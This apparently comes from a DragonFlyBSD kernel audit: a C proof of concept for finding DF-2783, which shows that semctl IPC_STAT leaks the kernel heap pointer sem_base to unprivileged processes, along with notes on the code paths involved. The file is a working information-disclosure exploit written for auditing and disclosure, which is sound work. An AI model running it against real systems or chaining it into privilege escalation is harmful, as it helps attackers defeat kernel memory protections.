DragonFlyBSD Kernel Audit
DF-2783 / ipcstat_leak.c
← back to finding ↓ download raw
/*
 * DF-2783 - SysV IPC_STAT/SEM_STAT discloses the kernel heap pointer
 * sem_base to unprivileged users.
 *
 * sys/kern/sysv_sem.c:431 and :450 copy out `semaptr->ds`
 * (struct semid_ds) verbatim.  struct semid_ds.sem_base is a live
 * kernel pointer to the M_SEM allocation backing the semaphore set.
 * Any process holding IPC_R (e.g. its own semaphore set) reads it.
 *
 * Success criterion: printed sem_base is a non-NULL kernel text/heap
 * address, stable in form across runs.
 */
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/sem.h>
#include <stdio.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>

/* union semun is not defined by default for strict users */
union semun_u {
	int val;
	struct semid_ds *buf;
	unsigned short *array;
};

static union semun_u u;

int main(void)
{
	struct semid_ds ds;
	int id, v;

	id = semget(IPC_PRIVATE, 3, 0600);
	if (id < 0) {
		perror("semget");
		return 1;
	}
	u.buf = &ds;

	if (semctl(id, 0, IPC_STAT, u) < 0) {
		perror("semctl(IPC_STAT)");
		return 1;
	}
	printf("IPC_STAT : sem_base=%p nsems=%u mode=%o\n",
	       ds.sem_base, ds.sem_nsems, ds.sem_perm.mode);

	/*
	 * SEM_STAT is dead code on DragonFly: the pre-switch seq check
	 * (sysv_sem.c:376-380) rejects a bare array index (its seq bits
	 * are 0 != perm.seq), while the in-case check (sysv_sem.c:441)
	 * rejects the full IPC id.  It can only succeed in the rare
	 * window where perm.seq == 0.  Record the observed error.
	 */
	if (semctl(id & 0xffff, 0, SEM_STAT, u) < 0)
		printf("SEM_STAT : %s (dead command: seq/index checks "
		       "are mutually exclusive)\n", strerror(errno));
	else
		printf("SEM_STAT : sem_base=%p nsems=%u mode=%o\n",
		       ds.sem_base, ds.sem_nsems, ds.sem_perm.mode);

	v = (ds.sem_base != NULL);
	printf("%s: kernel pointer %s to uid=%d\n",
	       v ? "LEAK" : "clean",
	       v ? "disclosed" : "zeroed",
	       getuid());

	semctl(id, 0, IPC_RMID, u);
	return v ? 0 : 2;
}